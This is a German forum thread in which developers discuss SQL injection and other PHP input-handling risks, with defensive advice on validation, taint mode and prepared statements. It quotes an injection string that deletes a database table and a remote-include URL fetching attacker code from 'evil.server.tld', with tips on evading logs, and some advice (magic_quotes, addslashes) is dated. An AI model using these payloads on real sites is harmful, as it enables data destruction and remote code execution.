Julian Hofmann: Welche Gefahr bergen wirkliche Werteübergaben in sich?

Hallo und guten Abend.

Etwas verwundert hat mich in der aktuellen InternetWorld der Artikel über Gefahren beim Programmieren. Speziell der Teil über unerwartete Werteübergaben mit Inhalten, die man so nicht erwartet und gewünscht hatte.

Im Beispiel wird ein Newsskript gezeigt, das anhand einer angehängten id dann die ausführliche Meldung zeigen soll. Nun wird gesagt, dass davon eine große Gefahr ausginge, nach ein Bösewicht ja die id manipulieren könnte und mit new.php?id=12';Delete+*+from+tabellenname die gesamte Tabelle leeren könnte, da es im Skript ja irgend wie zusammengesetzt wird zu einem
  SELECT * FROM tabelle WHERE id='12';DELETE * FORM tabellenname
Wundern tut mich das insofern, da eigentlich kein Skript das ich mir bisher irgendwo angeschaut habe die Übergaben so exakt prüft.

Daher meine Fragen: Wie groß ist denn die Gefahr? Ist es überhaupt eine ernste Gefahr? Und was tut Ihr dagegen?

Grüße aus Würzburg
Julian

  1. Ich bin zwar nicht 100%ig sicher, weil ich mir noch nie Gedanken über dieses Problem gemacht habe... aber wenn's nur um Zahlen geht, sollte sowas

    $id=$id+0;

    eigentlich nachstehenden Text löschen, oder?

    1. Tatsächlich können bestimmte Eingaben in Formulare, die dann wiederum in SQL- Befehle umgewandelt und z.B. von mySQL ausgeführt werden, schädlich sein.

      Man dagegen machen kann? Nun ja: Die Eingaben in Perl, PHP oder wo auch immer filtern, bevor der Befehl zur Datenbank rausgeht.

      Sollte dabei ein fehlerhafter SQL- Befehl entstehen, dann gibt es schlimmstenfalls einen Fehler.

      fastix

    2. Ich bin zwar nicht 100%ig sicher, weil ich mir noch nie Gedanken über dieses Problem gemacht habe... aber wenn's nur um Zahlen geht, sollte sowas

      $id=$id+0;

      eigentlich nachstehenden Text löschen, oder?

      Hallo,

      ja, das sollte man tun. Jeder Wert der übergeben wird, muss auf seinen erlaubten Wertebereich (Benutzerbezogen) überprüft werden. Das Script hat ja in der Regel einen sehr eingeschränkten Einsatzzweck, den man dürch Kodierung in numerischen Werten abbilden kann.

      1= lesen                                Benutzer 1,7,22
      2= zurückschreiben AKTUELLER Datensatz  Benutzer 7
      3= vorwärts blättern                    Benutzer 1,2,3,4,5,6,7
      4= rückwärts blattern                   Benutzer 1,2,3,4,5,6,7
      ...

      nur so als Beispiel

      mit  $befehl=strval($befehl)

      lassen sich schon mal alle unerwünschten Zeichen entfernen.

      Liebe Grüße aus Braunschweig

      Tom

      1. dürch Kodierung

        süß, einfach süß

  2. Moin!

    Im Beispiel wird ein Newsskript gezeigt, das anhand einer angehängten id dann die ausführliche Meldung zeigen soll. Nun wird gesagt, dass davon eine große Gefahr ausginge, nach ein Bösewicht ja die id manipulieren könnte und mit new.php?id=12';Delete+*+from+tabellenname die gesamte Tabelle leeren könnte, da es im Skript ja irgend wie zusammengesetzt wird zu einem
      SELECT * FROM tabelle WHERE id='12';DELETE * FORM tabellenname

    Korrekt, diese Gefahr existiert tatsächlich. Bei den meisten PHP-Installationen aber nur theoretisch, da in der Praxis "magic_quotes" eingeschaltet sind. Das bedeutet: Alle Anführungszeichen ' und " werden automatisch mit einem Backslash versehen, bevor das Skript auf diese Werte zugreifen kann. Wenn man dann seine SQL-Abfrage zusammensetzt, sind die im Parameter übergebenen Anführungsstriche entschärft:
    new.php?id=12';Delete+*+from+tabellenname
    und
    $sql = "SELECT * FROM tabelle WHERE id='$id'";
    führt zu
    $sql = "SELECT * FROM tabelle WHERE id='12';Delete * from tabellenname'";

    In einer ID-Spalte nach dem String "12';Delete * from tabellenname" zu suchen ist zwar ungewöhnlich, aber auch vollkommen ungefährlich.

    Wundern tut mich das insofern, da eigentlich kein Skript das ich mir bisher irgendwo angeschaut habe die Übergaben so exakt prüft.

    Prüfung von Werteübergaben ist nicht verkehrt. Insbesondere wenn die Werte nicht nur einfach für sich dastehen, sondern in einer relationalen Datenbank diverse IDs die Verknüpfungen zu anderen Tabellen herstellen, ist es extrem sinnvoll, die Konsistenz der einzutragenden Daten zu prüfen.

    Angenommen, man hat eine Tabelle mit News (jede News hat eine ID), und eine Tabelle mit Kommentaren (der Bezug zur News erfolgt über die News-ID). Wenn jetzt ein neuer Kommentar eingefügt werden soll, ist es unter Umständen (je nachdem, ob es einen stört oder nicht) sinnvoll, zu prüfen, ob die gerade übergebene News-ID überhaupt schon existiert. Angenommen, es gibts News-IDs bis 10, und die vom User übergebene ID ist 12. Dann wird der Kommentar erstmal solange nicht auftauchen, bis die News 12 eingegeben wird. Naja, scheint noch nicht schlimm zu sein (außer es steht ein ziemlicher Blödsinn im Kommentar drin - man wird sich nur wundern, wie schnell der gekommen ist).

    Wenns aber auf wirklich korrekte Datenhaltung ankommt, dann kann man zu einer noch nicht existierenden News schlicht und einfach noch keinen Kommentar verfassen - korrekterweise muß der Versuch mit einer Fehlermeldung abgewiesen werden.

    Datenprüfung ist IMO das komplizierteste an der Programmierung. Es ist recht aufwendig, man muß ziemlich gut nachdenken, um nicht zuwenig und nicht zuviel zuzulassen, es bringt der Programmfunktion an sich nichts (ohne Prüfung würde es ja auch funktionieren, solange niemand die Formulare manipuliert), und es kostet Zeit, die man meist nicht hat. Da aber entweder mit DAUs oder mit bösen Mitarbeitern und Angreifern zu rechnen ist, ist ungeprüfte Datenübernahme ein Risiko, welches man wirklich nur bei vollkommen unwichtigen Systemen eingehen sollte, wenn die Zeit drängt. Man kann sich durch unbedachtes Programmieren allerdings ziemlich große Sicherheitslücken reißen, die möglicherweise den Zugriff auf den gesamten Webserver freigeben. Deshalb gibt es eigentlich "vollkommen unwichtige Systeme" nicht. Sicherheit ist immer ein Thema.

    Daher meine Fragen: Wie groß ist denn die Gefahr? Ist es überhaupt eine ernste Gefahr? Und was tut Ihr dagegen?

    Ja, die Gefahren bestehen. Kritisch bei PHP ist vor allem:
    1.) register_globals = on.
    Damit kriegt man ganz simpel in jedes Skript beliebige Variablen injiziert. Wenn das Skript verwendete Variable nicht vor der ersten Verwendung initialisiert, ist das eine extreme Sicherheitslücke, die ein Angreifer ausnutzen könnte.

    2.) Ungeprüfte Werteübernahme
    3.) fopen-Wrappers
    Ich hab 2) oben schon beschrieben. Zu 3) als abschreckendes Beispiel nur noch dies:
    URL normal: template.php?include=datei.html
    <?php ...
    include ($_GET['include']);
    ...?>
    Böse Falle, wenn man die URL einfach mal ändert:
    URL böse: template.php?include=http://evil.server.tld/badscript.txt
    Wenn im badscript.txt PHP-Code steht, der auf diese Weise 1:1 ausgeliefert wird, dann wird dieser an der Position der Include-Anweisung ausgeführt. Damit kann ein Angreifer dann alles machen, was das PHP-Skript dort machen darf. Und bei einigen verbreiteten PHP-Skripten (beliebt: PHP-Gästebücher oder -Boards aus bekannten Sammlungen) ist das real so aufgetreten. Der Angreifer kannte sich, da er den PHP-Code des Boards etc. hatte, zudem ganz gut in den verwendeten Datenstrukturen (Datenbank etc.) aus und könnte im Prinzip ohne viel Ratespielchen das Löschen der Datenbank schon mal vorbereiten, bevor er mit nur einem Schritt angreift. Wenn das schlechte PHP-Skript ganz dumm ist, erlaubt es sogar, statt eines GET-Requests, dessen komplette URL (und damit auch die URL des Angreifer-Servers, von dem das fremde Skript kommt) in den Logfiles landet, einen POST-Request auszuführen, der standardmäßig in den Logfiles keine verfolgbare Spur hinterläßt außer der vermutlich dynamischen IP-Adresse. Aber selbst, wenn nur GET geht: Eigenen Webserver lokal installieren, eigene IP-Adresse feststellen, Angriffs-Skript so online stellen und die eigene dynamische IP-Adresse als URL angeben - fertig.

    Die Lösung ist einfach, die Gefahrenherde zu kennen und zu vermeiden. ;)

    - Sven Rautenberg

    1. Hallo Sven.

      vielen Dank für Deine sehr ausführliche Antwort. Du hast damit doch einiges an Bedenken aus dem Weg räumen können.

      da in der Praxis "magic_quotes" eingeschaltet sind.

      Tja, da ärgert man sich manchmal drüber wenn man die Anführungszeichen wirklich mal übergeben möchte, aber mit dem Hintergrund scheint das ja plötzlich Sinn zu machen. Wenn ich das richtig gesehen habe, dann ist PHP ja standardmäßig so konfiguriert, d.h. man muss sich keine großen Sorgen bezüglich der Sorgfalt des Providers machen.

      In einer ID-Spalte nach dem String "12';Delete * from tabellenname" zu suchen ist zwar ungewöhnlich, aber auch vollkommen ungefährlich.

      Datenprüfung ist IMO das komplizierteste an der Programmierung.

      Ja, das stimmt sicherlich. Daher war mir die Frage auch relativ wichtig um zu wissen, ob der Aufwand wirklich sooo nötig ist. Habe schon zu Genüge Gästebücher o.ä. ohne "ß" oder ohne Umlaute produziert. :(

      1.) register_globals = on.

      Dank PHP 4.2 sollte das ja auch nicht mehr das Thema sein und nicht mehr an der Vorsicht des Providers liegen da inzwischen vorkonfiguriert.

      Alles in allem kann ich jetzt doch wieder beruhigter schlafen und vielleicht bau ich trotzdem noch an der ein oder anderen Stelle eine Prüfung mehr ein.

      Vielen Dank nochmal.

      Grüße aus Würzburg
      Julian

      1. Hallo!

        da in der Praxis "magic_quotes" eingeschaltet sind.
        Tja, da ärgert man sich manchmal drüber wenn man die Anführungszeichen wirklich mal übergeben möchte, aber mit dem Hintergrund scheint das ja plötzlich Sinn zu machen.

        Wenn Du solche Zeichen übergeben willst kannst Du die einfach mit urlencode() codieren, und mit urldedcode() decodieren!

        Wenn ich das richtig gesehen habe, dann ist PHP ja standardmäßig so konfiguriert, d.h. man muss sich keine großen Sorgen bezüglich der Sorgfalt des Providers machen.

        Nein! Viele Provider ändern derartige Konfigurationen, keine Ahnung wieso. Bevor Du dich fälschlicherweise in Sicherheit wiegst lade auf den server ne Datei mit

        <?
        phpinfo();
        ?>

        da steh sowas alles drin, wie es auf Deinem Server eingestellt ist!!

        Datenprüfung ist IMO das komplizierteste an der Programmierung.
        Ja, das stimmt sicherlich. Daher war mir die Frage auch relativ wichtig um zu wissen, ob der Aufwand wirklich sooo nötig ist. Habe schon zu Genüge Gästebücher o.ä. ohne "ß" oder ohne Umlaute produziert. :(

        s.o.(urlencode())

        1.) register_globals = on.
        Dank PHP 4.2 sollte das ja auch nicht mehr das Thema sein und nicht mehr an der Vorsicht des Providers liegen da inzwischen vorkonfiguriert.

        auch nicht! Ist zwar vorkonfiguriert, aber wenn ein Provider das so einfach ändert, funktionieren 80% der PHP-Scripte der Kunden nicht mehr! Also ist das mit einiger Sicherheit noch nicht eingestellt!

        Erstelle die Datei test.php mit folgendem Inhalt:

        <?
        echo $variable;
        ?>

        und dann gebe im Browser ein:

        test.php?variable=das+sollte+hier+nicht+stehen

        ein! Wenn die Seite leer bleibt ist gut, sonst nicht! Steht aber auch in phpinfp()

        Alles in allem kann ich jetzt doch wieder beruhigter schlafen und vielleicht bau ich trotzdem noch an der ein oder anderen Stelle eine Prüfung mehr ein.

        Prüf´lieber als erstes wie Dein Server konfiguriert ist, bevor Du Dich beruhigt schlafen legst ;-)

        Grüße
        Andreas

        1. Hallo Andreas.

          Prüf´lieber als erstes wie Dein Server konfiguriert ist, bevor Du Dich beruhigt schlafen legst ;-)

          Danke, dass Du mich (und alle anderen Leser) extra nochmal auf die Prüfung der Einstellungen verweist. Habe das alles bei meinem Provider schon mal nachgeschaut und kann somit also ruhig schlafen. Aber Du hast Recht, lieber etwas zu vorsichtig sein und alles nachschauen, statt einfach blind dem Provider zu vertrauen.

          Grüße aus Würzburg
          Julian

    2. Hallo,

      Korrekt, diese Gefahr existiert tatsächlich. Bei den meisten PHP-Installationen aber nur theoretisch, da in der Praxis "magic_quotes" eingeschaltet sind. Das bedeutet: Alle Anführungszeichen ' und " werden automatisch mit einem Backslash versehen, bevor das Skript auf diese Werte zugreifen kann.

      Ich mag magic quotes nicht. Genauso wie register_globals sind die ein Komfortfeature (nur dass magic_quotes auf Sicherheit ausgelegt sind) und ich habe lieber selbst die Kontrolle, was mit den Eingaben passiert. Das einzige, was ich persönlich von einer serverseitigen Scriptsprache verlange, ist dass sie automatisch GET, POST und COOKIE Variablen dekodiert. Mehr nicht. Kein register_globals, keine magic_quotes_gpc. Wenn ich mir ein SQL-Statement für MySQL "zusammenbastle", dann schreibe ich immer addslashes() rein (z.B. $select = "SELECT * from tabelle where id = '".addslahes($_GET["id"])."'";). So habe _ich_ die Kontrolle, was denn eigentlich mit den Eingaben passieren soll und ich muss mich nicht auf so etwas verlassen.

      Prüfung von Werteübergaben ist nicht verkehrt. Insbesondere wenn die Werte nicht nur einfach für sich dastehen, sondern in einer relationalen Datenbank diverse IDs die Verknüpfungen zu anderen Tabellen herstellen, ist es extrem sinnvoll, die Konsistenz der einzutragenden Daten zu prüfen.

      Full ACK. Das ganze kann nur bei einer Tabelle verheerend sein: Wenn ein Benutzer bestimmte Datensätze löschen darf und nur diese in der Liste (im Formular) angezeigt bekommt, aber das Formular manipuliert und eine ID hinzufügt, die er eigentlich nicht löschen dürfte, dann _muss_ das Skript mit einer Fehlermeldung quittieren. Die besten if()-Abfragen (oder WHERE-Klauseln) zum _Anzeigen_ der Liste nützen nix, wenn sie nicht gleichzeitig auch in der Auswertungroutine stehen.

      Ja, die Gefahren bestehen. Kritisch bei PHP ist vor allem:
      1.) register_globals = on.
      Damit kriegt man ganz simpel in jedes Skript beliebige Variablen injiziert. Wenn das Skript verwendete Variable nicht vor der ersten Verwendung initialisiert, ist das eine extreme Sicherheitslücke, die ein Angreifer ausnutzen könnte.

      Ich musste mal sogar ein Workaround schreiben, damit so was nicht passiert, wenn register_globals on sind.

      URL normal: template.php?include=datei.html
      <?php ...
      include ($_GET['include']);
      ...?>

      So etwas würde ich _nie_ machen. Wenn ich per Kommandozeile ein "include" mitgeben will, dann speichere ich alle Includes unter einer eindeutigen ID in einem Array oder halt in einer Datenbank (je nachdem, ob statisch oder dynamisch) Dann überprüfe ich, ob die ID existiert (und, falls nötig, ob der Benutzer die Rechte hat oder nicht); wenn ja include ich die Datei, die unter der ID steht (und der Benutzer weiß dann nicht mal den Dateinamen) oder, falls sie nicht existiert, spucke ich eine Fehlermeldung aus. So kann mir niemand etwas ungewolltes ins Script include()en.

      Grüße,

      Christian

  3. Moin Moin !

    Und was tut Ihr dagegen?

    (in Perl)

    1. Warnungen, Taint-Checks und "strict" einschalten:

    #!/path/to/perl -Tw

    use strict;

    2. Werte prüfen, ggf. Defaults einsetzen:

    my $value=param('value');
    $value=42 unless defined $value;
    die "Do you really think that $value is a valid number ?\n" unless $value=~/[1]?\d+$/;

    3. Dem DBI das Quoting überlassen, keine Basteleien mit Quoting und Unquoting:

    my $dbh=DBI->connect('DBI:whatver',...);
    my $sth=$dbh->prepare('SELECT ... FROM ... WHERE xyz=?');
    $sth->execute($value);

    So ist der Datenbank-Treiber dafür verantwortlich, daß die Datenbank statt des "?" den inhalt von $value zu sehen bekommt. Das sieht in der Regel so aus, daß prepare() den SQL-Compiler anstößt, und später bei execute() ein Handle für das compilierte SQL-Statement und die einzelnen Werte als Funktionsparameter an die Native-API der Datenbank übergeben werden. Für Datenbanken, bei denen die API das nicht hergibt, sort der Datenbank-Treiber zumindest für ein perfektes Quoting.

    Bei Dateinamen vermeide ich es nach Möglichkeit, daß der User Einfluß auf den Dateinamen hat.

    Man MUSS davon Ausgehen, daß der User gleichzeitig SAUBLÖD (versehentliche Fehleingaben)und ein BEGNADETER CRACKER (absichtliche Fehleingaben) ist. Traue keiner Variable, auf die der User Einfluß hat (Das ist eine der Kernfunktionen des TAINT-Modus bei Perl).

    Alexander


    1. +- ↩︎

  4. Guten Morgen Julian,

    eine der Grundregeln der Client-Server-Programmierung lautet:

    "Reiche niemals eine Benutzereingabe direkt an das nachfolgende System direkt weiter"

    Will sagen: Erst die Eingabe validieren, dann ggf. mittels Sequenztabelle übersetzen, die Beutzerrechte prüfen und dann erst ausführen. Dann kann Dir nix mehr passieren, es sei denn, Du berechtigst einen Benutzer, per Remotesystem Deinen Serverraum anzustecken.

    Grüße aus Braunschweig

    Tom